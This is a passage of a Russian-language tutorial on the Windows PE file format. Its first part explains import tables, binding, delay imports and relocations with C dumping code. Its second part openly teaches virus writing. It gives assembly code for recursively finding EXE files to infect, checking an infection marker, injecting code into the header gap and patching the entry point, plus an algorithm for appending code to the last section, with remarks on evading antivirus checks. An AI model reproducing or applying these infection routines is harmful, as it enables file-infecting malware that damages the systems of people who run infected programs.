Теперь необходимо описать двойное слово IMAGE_THUNK_DATA. Он определена следующим образом:

typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; // PBYTE
DWORD Function; // PDWORD
DWORD Ordinal;
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;

Это двойное слово соответствует одной импортируемой функции. Это двойное слово отличается,  если файл был загружен в память или была ли функция импортирована по имени или по номеру. Если функция импортируется по номеру (ординалу), старший бит двойного слова устанавливается в 1. Импорт по ординалу производиться очень редко. Мы должны убрать эту единицу в последнем разряде и использовать полученное значение как ординал.

Если происходит импорт по имени, то двойное слово содержит RVA структуры IMAGE_IMPORT_BY_NAME. Эта структура определена следующим образом:

typedef struct _IMAGE_IMPORT_BY_NAME {

    WORD    Hint;

    BYTE    Name[?];

} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

 

WORD    Hint;

Укороченный идентификатор точки входа.

 

BYTE    Name[?];

Название импортированной функции.

Стандартный механизм импорта

В таблице импорта вначале идет массив из элементов типа IMAGE_IMPORT_DESCRIPTOR. Каждый элемент соответствует одной DLL из которой импортируются функции. Самыми главными частями IMAGE_IMPORT_DESCRIPTOR являются имя DLL и два массива элементов типа IMAGE_THUNK_DATA32. В принципе они эквивалентны и идут параллельно. Но есть определенная логическая нагрузка на один и второй массивы. Конец массива IMAGE_THUNK_DATA32 определяется нулевым DWORD’ом. Первый массив – OriginalFirstThunk, остается неизменным при загрузке. Второй массив - FirstThunk правиться при запуске программы, загрузчиком. Вот он содержит адреса всех импортируемых функций. Вообще поле OriginalFirstThunk может быть любым и не используется загрузчиком. Для системных DLL массив OriginalFirstThunk сразу содержит адреса импортируемых функций. Т.е. для таких DLL, массив OriginalFirstThunk содержит не элемент IMAGE_THUNK_DATA32, а уже адрес для импортируемой функции данным модулем. Второй массив содержит, если функция импортируется по имени, RVA на структуру IMAGE_IMPORT_BY_NAME. Эта структура, содержит имя нужной функции. Сначала загрузчик просматривает массив IMAGE_IMPORT_DESCRIPTOR и проецирует в адресное пространство текущего процесса нужные модули, содержащие импортируемые функции. Далее загрузчик просматривает массив из IMAGE_THUNK_DATA32 и вызывает для каждого имени GetProcAddress. После вызова GetProcAddress возвращает адрес точки входа в функцию. Этот адрес записывается на место, где был RVA IMAGE_IMPORT_BY_NAME. Точно также происходит импорт по ординалу, только GetProcAddress передается не указатель на имя функции, а ординал. Если импортируется переданная функция, то в DWORD’е массива FirstThunk содержиться указатель на строку форвардной функции. Все эти действия ведутся с массивом имен FirstThunk. Массив OriginalFirstThunk остается прежним. Линкеры фирмы Borland делают массив OriginalFirstThunk нулевым, что можно считать ошибкой, но мы должны с ней считаться.

Пример работы с таблицей импорта

Посмотрите код, который выводит на экран всю таблицу импорта. Вы должны спроецировать PE-файл с помощью CreateFile->CreateFileMapping->MapViewOfFile. В hMap передайте значение возвращенное MapViewOfFile.

void printImportTable(long hMap)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
PIMAGE_IMPORT_DESCRIPTOR Import=(PIMAGE_IMPORT_DESCRIPTOR)(RVAtoOffset((long)hMap,pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)+(long)hMap);
IMAGE_THUNK_DATA32* Thunk;
PIMAGE_IMPORT_BY_NAME ImportName;
int x=0;
while (Import->Characteristics!=0)
{
x++;
printf("--------Library: %s-----------\n TimeDateStamp:%X\n ForwardedChain:%X\n OriginalFirstThunk:%X\n FirstThunk:%X\n",RVAtoOffset((long)hMap,Import->Name)+(long)hMap,Import->TimeDateStamp,Import->ForwarderChain,Import->OriginalFirstThunk,Import->FirstThunk);
Thunk=(IMAGE_THUNK_DATA32*)(RVAtoOffset((long)hMap,Import->OriginalFirstThunk)+(long)hMap);
while (Thunk->u1.Ordinal!=0)
{
if ( ( (Thunk->u1.Ordinal) & 0x80000000)!=0)
{
printf("Ordinal: %X\n",(long)(IMAGE_THUNK_DATA32*)Thunk->u1.Ordinal);
}
else
{
ImportName=(PIMAGE_IMPORT_BY_NAME)(RVAtoOffset((long)hMap,(long)(Thunk->u1.AddressOfData))+(long)(hMap));
printf("NameOfFunction:%s\n",&(ImportName->Name));
}
Thunk++;
}
Import++;
}
}

Биндинг

Компанией Microsoft была создана утилита, которая называется BIND. Ей на вход подается PE-файл, а она записывает в массив OriginalFirstThunk, таблицы импорта данного файла, адреса функций которые данный PE-файл использует. Такая операция называется биндингом (binding) и служит в целях оптимизации процесса загрузки исполняемого файла. Есть два вида биндинга – OLD STYLE BINDING и NEW STYLE BINDING.

Вначале об OLD STYLE BINDING. Адреса функций таблицы импорта уже известны до загрузки программы. Загрузчик файла смотрит на поле TimeDateStamp структуры IMAGE_IMPORT_DESCRIPTOR. Если это поле равно полю TimeDateStamp той DLL, из которой импортируются функции, то адреса импортированных функций не изменяются и загрузчик ничего не делает, т.к. правильные адреса уже находятся в модуле. Если поля TimeDateStamp в DLL и в таблице импорта не равны, то загрузчик патчит адреса импортированных функций с помощью стандартного механизма. Поле TimeDateStamp требуемой DLL может иметь значение 0, что происходит, если для данной функции не было биндинга. В этом случае загрузчик пропатчит все адреса импортируемых функций, для которых поле TimeDateStamp равно нулю. Если DLL была загружена не по своему предпочтительному адресу, то также происходит патч соответствующих адресов функций.

Если DLL экспортирует функцию, код которой находиться в другой DLL, т.е. при передаче экспорта, то используется поле ForwarderChain структуры IMAGE_IMPORT_DESCRIPTOR. Поле ForwarderChain содержит индекс в массиве FirstThunk первого импортируемого форварда. Если переданная функция – последняя, то это значение элемента соответствующего данному индексу равно   -1. Если это не последний форвард в цепочке, то элемент содержит следующий индекс в этом же массиве. Т.о. происходит проход по цепочке переданных функций и заполнение адресами соответствующих двойных слов массива FirstThunk. Т.к. у нас есть параллельный массив - OriginalFirstThunk, то мы используем информацию из него об именах форвардных функций. Обратите внимание, то массив OriginalFirstThunk обязан быть не нулевым, чтобы использовать биндинг форвардных функций. Если утилите BIND передается PE-файл в котором нулевой массив OriginalFirstThunk, то она отказывается обрабатывать такой файл.

            Теперь о NEW STYLE BINDING. Перед загрузкой файла в массиве элементов типа IMAGE_THUNK_DATA уже также содержатся адреса импортируемых функций. Изменится механизм импорта переданных функций.  При NEW STYLE BINDING поля TimeDateStamp и ForwarderChain для DLL, из которых происходит экспорт форвардов, равны -1. Загрузчик ориентируется на эти значения -1, и использует директорию bound-импорта, где содержится информация о форвардных функциях.

Bound-импорт

Bound-импорт называют также - привязанный импорт. В массиве DataDirectory элемент с индексом 11 соответствует директории отложенного импорта. Отложенный импорт используется при NEW STYLE BINDING. Используя bound-импорт можно также оптимизировать процесс загрузки, т.к. есть возможность не пропатчивать, даже адреса, переданных функций. С этой директорией связан массив структур IMAGE_BOUND_IMPORT_DESCRIPTOR, каждая из которых определена следующим образом:

typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {
DWORD TimeDateStamp;
WORD OffsetModuleName;
WORD NumberOfModuleForwarderRefs;
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;

 

DWORD   TimeDateStamp;

Временная метка. Она нужна для того, чтобы узнать не изменилась версия DLL, к которой привязаны адреса. Если это значение совпадает со значением временного штампа у библиотеки все отлично, т.е. не надо патчить переданные функции, иначе будет использоваться стандартный механизм импорта. Нулевое значение времени соответствует любому времени.

 

WORD    OffsetModuleName;

Смещение имени DLL, начиная от начала данной директории. Именно смещение, а не RVA!

 

WORD    NumberOfModuleForwarderRefs;

Счетчик – указатель количества структур типа IMAGE_BOUND_FORWARDER_REF, которые следуют после данной структуры. Строение их такое, как и у IMAGE_BOUND_IMPORT_DESCRIPTOR, только поле NumberOfModuleForwarderRefs зарезервировано.

Пример работы с Bound-импортом

void printBoundImport(long hMap)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
PIMAGE_BOUND_IMPORT_DESCRIPTOR Bound=(PIMAGE_BOUND_IMPORT_DESCRIPTOR)(RVAtoOffset((long)hMap,pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress)+(long)hMap);
printf("DLL Name:%s TimeDateStamp:%X",(long)Bound+(long)(Bound->OffsetModuleName),Bound->TimeDateStamp);
for (int i=0;i<Bound->NumberOfModuleForwarderRefs;i++)
{
Bound++;
printf("DLL Name:%s TimeDateStamp:%X\n",(long)Bound+(long)(Bound->OffsetModuleName),Bound->TimeDateStamp);
}
}

Delay-импорт

Delay-импорт, называется также, - отложенный импорт. Delay-импорт – это промежуточный подход между неявным импортом и явным импортом с помощью LoadLibrary/GetProcAddress. Механизм отложенного импорта – это не свойство операционной  системы, это дополнительный код в Вашей программе, с помощью которого оптимизируется импорт API-функций. Этот дополнительный код называется – Delay Helper. Если Ваша программа запускает впервые API-функцию, то код Delay-импорта вызывает LoadLibrary и GetProcAddress. Адрес впервые вызванной функции будет сохранен в таблице импортированных функций отложенного импорта. На данные имеющие отношение к отложенному импорту указывает запись номер IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   в таблице директорий. RVA в DataDirectory указывает на массив структур ImgDelayDescr. Эта структура определена в заголовочном файле DELAYIMP.H. Вот ее вид:

typedef struct ImgDelayDescr {
DWORD grAttrs; // attributes
LPCSTR szName;         // pointer to dll name
HMODULE * phmod; // address of module handle
PImgThunkData pIAT; // address of the IAT
PCImgThunkData pINT; // address of the INT
PCImgThunkData pBoundIAT; // address of the optional bound IAT
PCImgThunkData pUnloadIAT; // address of optional copy of original IAT
DWORD dwTimeStamp; // 0 if not bound,
// O.W. date/time stamp of DLL bound to (Old BIND)
} ImgDelayDescr, * PImgDelayDescr;

 

Каждая структура соответствует одной DLL импортированной с помощью отложенного импорта. В данном массиве присутствует указатель на массив IAT, идентичный массиву, используемому в стандартном механизме импорта, а также массив таблицы импортируемых имен INT (Import Name Table). В IAT помещаются адреса при первом вызове соответствующей функции. Рассмотрим все поле структуры по порядку:

 

DWORD           grAttrs;

Это поле указывает на тип адресации, применяющийся в структурах Delay-импорта. Если это поле равно 1, то адреса – RVA, если – 0, то VA.

 

LPCSTR          szName;

Указатель RVA/VA на ASCIIZ-строку с именем загружаемой DLL.

 

HMODULE *       phmod

В файле это поле может быть любым. Но при загрузке, лоадер помещает в него описатель DLL.

 

PImgThunkData   pIAT;

RVA/VA-указатель на таблицу импортированных адресов (IAT). Если это значение равно нулю, то это последний элемент массива.

 

PCImgThunkData  pINT;

RVA/VA-указатель на таблицу имен функций (INT). Если это значение равно нулю, то это последний элемент массива.

 

PCImgThunkData  pBoundIAT;

RVA/VA-указатель на таблицу адресов функций Bound-импорта.

 

PCImgThunkData  pUnloadIAT;

Когда DLL выгружается из памяти, то она имеет возможность восстановить таблицу адресов отложенного импорта в исходное состояние, обратившись к ее оригинальной копии. Указатель на оригинальную копию находиться в данном поле. Это аналог массива OriginalFirstThunk.

 

DWORD           dwTimeStamp;

Временная метка. Возможно не проходить по всем функциям для данной библиотеки. Если временная метка не пуста и таблица Bound-импорта не пуста, то загрузчик не будет заполнять IAT, а воспользуется таблицей bound-IAT. В данном случае здесь таблица bound-импорта отдельная и она используется в поддержку delay-импорта.

Пример работы с Delay-импортом

Представляю Вашему вниманию, пример процедуры – дампера таблицы отложенного импорта:

void printDelayImport(long hMap)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
PImgDelayDescr Delay=(PImgDelayDescr)(RVAtoOffset((long)hMap,pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress)+(long)hMap);
while (Delay->pIAT!=0)
{
if (Delay->grAttrs==1)
{
printf("-------%s-------\n",RVAtoOffset( (long)hMap,(long)(Delay->szName))+(long)hMap);
printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table: %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",Delay->grAttrs,Delay->dwTimeStamp,Delay->pIAT,Delay->pINT,Delay->pBoundIAT,Delay->pUnloadIAT);
 
}
else
{
printf("-------%s-------\n",RVAtoOffset( (long)hMap,(long)(Delay->szName-pPE->OptionalHeader.ImageBase))+(long)hMap);
printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table: %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",Delay->grAttrs,Delay->dwTimeStamp,Delay->pIAT,Delay->pINT,Delay->pBoundIAT,Delay->pUnloadIAT);
}
Delay++;
}
}

Особенности импорта на конкретных реализациях загрузчиков

В разных ОС импорт может быть реализован по-разному. Механизмов – целых 3! И загрузчик вправе выбирать, какой из них, и в каком порядке, в случае провала, будет использован. Загрузчик, например, может сразу просмотреть цепочку директорий и сразу перейти к bound-импорту. Если он валиден, то использовать его для импорта. Если он не корректный, то перейти к стандартному механизму импорта. Т.о., в зависимости от ОС, загрузчик в праве выбирать какой механизм импорта ему использовать. В любом случае Вы можете узнать, как происходит импорт, исследуя поведение загрузчика с помощью дизассемблирования. Но если мы хотим сделать переносимый вирус, то на эти особенности полагаться ни в коем случае нельзя.

Базовые поправки

Если PE-файл не загружается по ImageBase, то применяются базовые поправки. Для данной секции применим особый термин – дельта. Дельта - это разница по модулю между базовым адресом для PE-файла и значением ImageBase в опциональном заголовке. Если файл загрузился по базовому адресу, то базовые поправки не нужны. Чаще EXE файл грузится по своему базовому адресу, но DLL обычно – нет. Базовые поправки – это набор смещений, по которым нужно прибавить дельту. Для базовых поправок часто выделяется отдельная секция .reloc, но они также могут не иметь отдельной секции, а быть частью какой-либо секции. Поправки упаковываются сериями смежных кусков различной длины. Каждый кусок описывает поправки для одной четырехкилобайтовой страницы. Секция базовых поправок начинается с массива структур IMAGE_BASE_RELOCATION, которая выглядит следующим образом:

typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
 // WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

 

DWORD   VirtualAddress;

Начальный RVA для данного куска поправок. Смещение каждой поправки, которая следует дальше, добавляется к данной величине для получения RVA, для которого должна быть применена поправка. 

 

DWORD   SizeOfBlock;

Размер данной поправки + все последующие поправки типа WORD. Можно определить количество поправок в данном блоке с помощью формулы

X = (SizeOfBlock – sizeof(IMAGE_BASE_RELOCATION))/2       (6)

 

WORD    TypeOffset

Это не одно слово, а массив слов, количество элементов в котором вычисляется с помощью формулы (6). 12 младших разрядов каждого из этих слов представляют поправочное смещение, которое должно быть прибавлено к значению из поля VirtualAddress из данного блока поправок. 4 старших разряда – тип поправки. Для процессоров Intel для типа поправки есть единственное возможное значение – IMAGE_REL_BASED_HIGHLOW. При данном значении к двойному слову по вычисленному адресу смещения прибавляется дельта.

Пример работы с базовыми поправками

Процедура предполагает, что все поправки типа IMAGE_REL_BASED_HIGHLOW.

void printRelocTable(long hMap)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
PIMAGE_BASE_RELOCATION Reloc=(PIMAGE_BASE_RELOCATION)(RVAtoOffset((long)hMap,pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)+(long)hMap);
while (Reloc->VirtualAddress!=0)
{
int number=(Reloc->SizeOfBlock-8)/2;
WORD* Rel=(WORD *)((long)Reloc+8);
printf("Virtual Address: %X\nNumber of Relocation:Relocation\n",Reloc->VirtualAddress);
for (int i=0;i<number-1;i++)
{
 
printf("%d:%X\n",i,(0x0FFF)&(Rel[i]));
}
Reloc=(PIMAGE_BASE_RELOCATION)((long)Reloc->SizeOfBlock+(long)Reloc);
}
}

Программа PE Inside Console Version

В рамках данной главы я также выкладываю пример работы с PE-файлами консольной программы PE Inside. Просто посмотрите, как это работает и все. Все построено на функциях и макросах и не должно вызвать у Вас проблем. Исходный код находиться в архиве к статье.

Программа PE Inside v0.5alfa

Данная программа демонстрирует работу с PE-файлами. Она была сделана в рамках написания данной главы и имеет открытый исходный код, который Вы можете использовать в своих целях. При первом запуске программа добавляет себя в контекстное меню для PE-файлов, чтобы быстро просмотреть или отредактировать поля PE-файла. Скачать программу и ее исходник можно скачать в архиве прилагаемом к статье. Это только версия 0.5alfa и она мало чего умеет, но далее ее возможности будут расширяться.

PE64

PE64 – это расширение PE32 на случай 64-разрядной платформы. Не бойтесь, изменения между этими форматами минимальны, т.к. все что изменяется - это адреса в памяти. Поэтому все 32-разрядные поля превращаюся в 64-разрядные. В Си для адресации используется тип __int64. Но не забывайте, что в 32-х разрядных процессорах все регистры 32-разрядные по определению. Так что для работы с таким типом используются два регистра. Сами структуры в PE-файле остались прежними. Естественно изменились смещения. Все что Вам понадобиться для работы с этим форматом, так это спецификация Microsoft. А в теории Вы можете опираться на имеющиеся здесь выкладки.

Домашнее задание

Здесь я предлагаю оторваться от чтения и попробовать все прочтенное самому. Единственным способом понять все

 тонкости PE-формата - это трогать ручками все структуры. Попробуйте написать дамперы соответствующих структур. Откройте hex-редактор и найдите все структуры, попробуйте изменить чего-нибудь etc. Соберите все нужные структуры в один файл. Распечатайте этот документ и повесьте у себя рядом с кроватью. Это приблизит Вас к истинному пониманию структуры PE-файлов. Очень желательно знать все смещения соответствующих структур наизусть, дабы не отстать от Мыша ;)

Способы внедрения внутрь исполняемого файла

Вот мы и добрались до самого главного, т.е. к чему стремились. Все смещения структур PE-файла мы знаем наизусть, знаем как загрузчик работаем с PE-файлами, значит можно заражать файлы. Школьники ходят в школу, учатся, кушают в столовой. Студенты с папочками и с очочками занимаются, а мы пишем вирусы, а все остальное mustdie. Здесь будут рассмотрены более или менее стандартные способы и наиболее простые.

            Мы отвлеклись. Вот стандартные действия Windows-вируса:

1)      Поиск файлов для заражения.

2)      Проверка, не заражен ли уже файл.

3)      Если нет, то заражаем.

Исходя из этих действий выдвигается новая тема. Итак…

Поиск файлов

Когда наш детеныш запускается, то он начинает поиск файлов и соответственно заражение. Обычно вирусы не заражают сразу все файлы, чтобы быть не замеченными. Сейчас мы напишем процедуру, которая ищет файлы. Если находиться директория, то для этого директории рекурсивно вызывается эта же процедура. Рекурсия – это очень интересная вещь в программировании. Мы еще будем обращаться к этому понятию. Т.к. мы программируем в 3 кольце защиты, то в этом кольце для поиска файлов используются три API-функции: FindFirstFile, FindNextFile, FindClose – соответственно начало поиска, продолжение поиска и завершение поиска. Эта процедура похожа на «Танго мастдайное». Кому надо тот понял. Процедура требует два параметра. Процедура универсальна, сохраняет все регистры. В этом примере я не стал ее оптимизировать. Все что нужно об оптимизации Вы узнаете в соответствующей главе. Но процедура не до конца доделана. Точнее говоря, файлы она ищет все, но ничего не делает с ними. Вы должны добавить всего лишь, что делать с найденными файлами. Чтобы получить имя найденного файла используйте член структуры WIN32_FIND_DATA – cFileName. Чтобы получить путь для этого файла используйте локальную переменную Path. Она следующего вида: <Путь к файлу>0F3h,0F3h,0F3h,0. Где 0F3h и 0 – это байты. Чтобы получить нормальный путь к файлу надо убрать 3 0F3h байта и слить эту строку со строкой содержащей имя файла. В примере немного позже Вы увидите, как это делается. Я добавляю эти лишние байты, для того, чтобы для следующих папок в данной, путь формировался правильно. Эти байты играют роль маски в конце, которая потом удаляется.

;=================================================================
;Процедура FindEXE рекурсивного поиска файлов
;Вход: Dir - адрес ASCIIZ-строки с именем директории где производить поиск
; Mask2 -адрес ASCIIZ-строки "*.*",0
;
=================================================================
FindEXE proc Dir:DWORD, Mask2:DWORD
LOCAL Find:WIN32_FIND_DATA
LOCAL hFile:DWORD
LOCAL Path[1000]:BYTE
pushad
;Обработка переданного пути
invoke lstrlen,Dir;вычисляем длину переданного пути
 
mov esi,Dir
lea edi,Path
mov ecx,eax
rep movsb;получаем в Path - путь для поиска
 
lea edi,Path
add edi,eax
mov esi,Mask2
mov ecx,5
rep movsb;Path=Path+Mask+\0
 
lea ebx,Find
lea edi,Path
invoke FindFirstFile,edi,ebx;начало поиска
.IF eax!=INVALID_HANDLE_VALUE;если начало поиска удачно
mov hFile,eax
invoke FindNextFile,hFile,ADDR Find;продолжение поиска
.WHILE eax!=0;если продолжение поиска удачно
mov ebx,Find.dwFileAttributes
and ebx,FILE_ATTRIBUTE_DIRECTORY
lea ecx,Find.cFileName
.IF (ebx==FILE_ATTRIBUTE_DIRECTORY) && (byte ptr [ecx]!='.')
lea ebx,Path
;Удаляем '\*.*'
push ebx
push ebx
call lstrlen
pop ebx
add ebx,eax
sub ebx,3
mov edi,ebx
mov eax,0
mov ecx,3
cld
rep stosb;удаляем маску
;Добавляем имя директории к строке
lea ebx,Path
push ebx
call lstrlen
add ebx,eax
mov edi,ebx

push edi
lea edx,Find.cFileName
push edx
call lstrlen
mov ecx,eax
inc ecx
pop edi
 
lea edx,Find.cFileName
mov esi,edx
cld
rep movsb
mov byte ptr [edi],0
lea ebx,Path
push Mask2
push ebx
call FindEXE;рекурсивный вызов
std

lea ebx,Path
push ebx
call lstrlen
add ebx,eax
mov edi,ebx
 
mov ecx,10000
mov al,'\'
repne scasb
add edi,2
mov ecx,3
mov eax,0f3h
cld
rep stosb
mov byte ptr [edi],0
.ELSE
;Не EXE ли это
lea ebx,Find.cFileName;не exe ли это?
push ebx
push ebx
call lstrlen
pop ebx
add ebx,eax
sub ebx,4
.IF (dword ptr [ebx]=='exe.')||(dword ptr [ebx]=='EXE.')
;EXE ФАЙЛ НАЙДЕН!!!
.ENDIF
.ENDIF
invoke FindNextFile,hFile,ADDR Find;продолжение поиска
.ENDW
.ENDIF
popad
ret
FindEXE endp
;
=================================================================
;Конец Процедуры FindEXE рекурсивного поиска файлов
;
=================================================================

Проверка PE-файла на правильность

Как проверить, что PE-файл является вилидным я рассказывал в главе 1. Просто, используйте процедуру ValidPE, передавая ей правильные параметры.

Способ 1. Внедрение в заголовок

У нас в распоряжении есть исполняемый файл, мы должны заразить его. Давайте рассмотрим первый способ. Как Вы уже знаете, в начале PE-файла идtn PE-заголовок. Между окончанием таблицы секции и первой секцией есть промежуток. Этот промежуток появляется из-за файлового выравнивания выравнивания (значение FileAlignment в файловом заголовке). Туда мы можем впихнуть исполняемый вредоносный код. Плохо, что места мало, значит либо наш вирус будет очень маленьким или очень оптимизированным, либо в это место мы внедрим только часть вируса. Хорошо то, что размер файла не изменяется. Запись в данную область возможна, если изменить атрибуты соответствующих страниц. Рассмотрим алгоритм внедрения кода, используя запись в заголовок:

1) Найти конец таблицы секций

2) Найти физическое смещение 1 секции

3) Вычислить максимальный размер кода, который можно внедрить

4) Проверить bound-импорты. Если они присутствуют, то уничтожить запись о них в таблице директорий.

5) Записать код.

6) В конец кода установить jmp нормальную AddressOfEntryPoint

7) Изменить AddressOfEntryPoint

8) Изменить SizeOfHeaders на физическое смещение последней секции

Есть шаги, которые необходимо будет выполнять при любом способе заражения. Я опишу их в каждом разделе.

Получение важных частей отображения

При работе с PE-файлом мы будем постоянно обращаться к некоторым областям, важными для нас. Необходимо получить указатели на них, чтобы постоянно не вычислять эти значения. Нам будут нужны следующие значения: PE-заголовок, таблица секций, таблица директорий, файловый заголовок, опциональный заголовок. В этом примере кода, предполагается что в hMap находиться проекция EXE-файла-жертвы.

.data?
pPE dd ?
pSectionTable dd ?
pDataDirectory dd ?
pFileHeader dd ?
pOptionalHeader dd ?
………
;Получение адреса PE-заголовка
assume edi:ptr IMAGE_DOS_HEADER
mov edi,hMap
add edi,[edi].e_lfanew
mov pPE,edi
;Получение адреса файлового заголовка
add edi,4
mov pFileHeader,edi
;Получение адреса опционального заголовка
add edi,sizeof IMAGE_FILE_HEADER
mov pOptionalHeader,edi
;Получение адреса таблицы директорий
assume edi:ptr IMAGE_OPTIONAL_HEADER
lea edi,[edi].DataDirectory
mov pDataDirectory,edi
;Получение адреса талицы секций
mov edi,pOptionalHeader
mov eax,[edi].NumberOfRvaAndSizes
mov edi,pDataDirectory
mov edx,sizeof IMAGE_DATA_DIRECTORY
mul edx
add edi,eax
mov pSectionTable,edi

Переход на старый AddressOfEntryPoint

Когда мы внедряем код, то мы изменяем точку входа на нашу. Чтобы управление вернулось программе необходимо прыгнуть на инструкции, с которых первоначально планировалось выполнение. Ниже приведен отрывок кода, который добавляет инструкции после внедренного кода для перехода на оригинальную точку входа. Предполагается, что в pOptionalHeader находиться указатель на опциональный заголовок. Так же предполагается, что в регистре EDI находиться место, куда мы хотим записать команды перехода. Проекция EXE файла создается не как SEC_IMAGE, а как обычная, потому что при SEC_IMAGE запись на диск не производиться :(, даже если мы изменяем атрибуты страниц с помощью VirtualProtect

;Переход на старую точку входа

            mov esi,pOptionalHeader

            assume esi:ptr IMAGE_OPTIONAL_HEADER

            mov eax,[esi].AddressOfEntryPoint;В EAX - старая точка входа

            add eax,[esi].ImageBase

            mov byte ptr [edi],0BFh;BF - опкод команды mov edi,XXXXXXX

            inc edi

            push eax

            pop dword ptr [edi];Джампим к старой точке входа

            add edi,4

            mov word ptr [edi],0E7FFh;FFE7 - опкод команды jmp edi

Код инфектора

Сначала мы получаем все важные части отображения. После проецирования файла проверяем корректен ли он. Если он корректен, то проверяем, не заражен ли он уже. Чтобы это проверить, надо знать некоторые отличительные особенности зараженности данного файла. При самом заражении в поле Win32VersionValue добавляются байты - 00BADF11Eh. Если в данном поле такие байты, то файл заражен. Посмотрите на пример:

;Не заражен ли уже файл?

            mov edi,pOptionalHeader

            assume edi:PTR IMAGE_OPTIONAL_HEADER

            .IF [edi].Win32VersionValue==00BADF11Eh

                        push MB_ICONERROR

                        push offset TitleMes1

                        push offset Error2Str

                        push 0

                        call MessageBox

                        jmp Exit

            .ENDIF

Для индикатора зараженности подойдет любое поле, которое не используется загрузчиком. Я описывал ранее, какие это поля. Если посмотреть внимательно на какой-нибудь PE-файл с Bound-импортом, то обычно Bound-импорт помещается как раз в это свободное пространство нужное нам. Bound-импорт – средство оптимизации загрузки. Но если его удалить, то файл будет все равно нормально загружаться.

Теперь надо найти начало свободного пространства в заголовке. Это пространство будет начинаться сразу после таблицы секций. Посмотрите на код и мои комментарии:

;Поиск конца таблицы секций+1

mov edi,pFileHeader

assume edi:ptr IMAGE_FILE_HEADER

xor eax,eax

mov ax,[edi].NumberOfSections

mov edx,sizeof IMAGE_SECTION_HEADER

mul edx;теперь в eax - количество байт, которые занимают все секции

mov edi,pSectionTable

add edi,eax;теперь в edi - начало промежутка

push edi;сохраняем начало промежутка

Чтобы получить начало первой секции в файле надо пройтись по всем секциям и сохранить минимальное физическое смещение. Мы делаем это для того, что в таблице секций, первая запись не обязательно соответствует первой секции в файле. Иначе можно было бы взять информацию из первой записи в таблице секций. Чаще, в конечном итоге, так и получается. Вот исходный делающий эти операции:

;Поиск физического смещения первой секции
mov edi,pFileHeader
assume edi:ptr IMAGE_FILE_HEADER
xor ecx,ecx
mov cx,[edi].NumberOfSections
dec cx
mov edi,pSectionTable
assume edi:ptr IMAGE_SECTION_HEADER
xor eax,eax
mov eax,[edi].PointerToRawData;в eax - физическое смещение 1 секции в таблице секций
add edi,sizeof IMAGE_SECTION_HEADER
NextSection:
.IF eax>[edi].PointerToRawData
mov eax,[edi].PointerToRawData
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER
loop NextSection

После проекции, проверки EXE-файла и получения информации о промежутке в заголовке проецируем файл, откуда берутся данные, которые надо внедрять. Потом проверяем размер промежутка и размер файла. Если размер промежутка достаточен для кода, то можно внедрять. Код внедряем обычными цепочечными командами ассемблера:

;Запись
mov ecx,eax;количество байт для записи
mov edi,AddressOfCode
mov esi,hMap2
rep movsb;запись!

После данных из файла необходимо поставить переход на нормальную точку входа. Я делаю это следующими инструкциями:

mov EDI,<Старая_точка_входа+ImageBase>;BFXXXXXXXX

jmp edi;FFE7

Далее программа модифицирует точку входа. Параметр SizeOfHeaders очень важен для нас. Он должен быть равен физическому смещению последней секции. Иначе загрузчик не спроецирует код, а забьет пространство нулями. К сожалению, этот способ внедрения отлавливают все антивирусы, просто проверяя, что точка входа указывает на заголовок. Можно, например, записать код в заголовок и потом использовать его. При этом обязательно, чтобы AddressOfEntryPoint не указывал на заголовок. Т.е. можно использовать это место для хранения т.н. загрузочной процедуры, которая передает управление на соответствующие инструкции.

Способ 2. Запись в конец последней секции

Этот способ более предпочтителен для внедрения потустороннего кода в PE-файл. Можно внедрять сколько угодно кода. Но, используя данный способ изменяется размер файла. Что в этом плохого догадайтесь сами. Способ заключается в простом добавлении кода в конец последней секции с изменением параметров для данной секции. Вот алгоритм внедрения, используя расширение последней секции:

 

1.                  Находим последнюю секцию виртуально и физически.

2.                  Проверка, не равен ли размер последней секции нулю.

3.                  Если нет, то записываем в конец секции код вируса.

4.                  Выравниваем новую секцию с учетом файлового выравнивания.

5.                  Правим виртуальный и физический размеры секций.

6.                  Правим точку входа.

7.                  Правим размер образа – ImageSize=VirtualSize+VirtualAddress

8.                  Правим - характеристики – на 0А0000020h

 

Ну как? По-моему ничего сложного. Надо просто знать, какие поля есть в PE-заголовке, и помнить о них. Здесь нам пригодиться и вычисление выравнивания секций. Как вы помните из главы 1, есть формула для вычисления, выровненного вверх или вниз, значения. Был также приведен код процедур для этих расчетов. Сейчас, я приведу код и Вам мигом все станет понятно.

Итоговый размер файла

Первая проблема, которая возникла – это каким делать размер файла. Ведь его нужно знать до заражения. Его нужно знать, чтобы соответствующим образом спроецировать файл и чтобы хватило места в проекции для внедряемого кода. Для нового размера файла используется такая формула:

Y=X+AlignUp(размер_кода+7,FileAlignment),

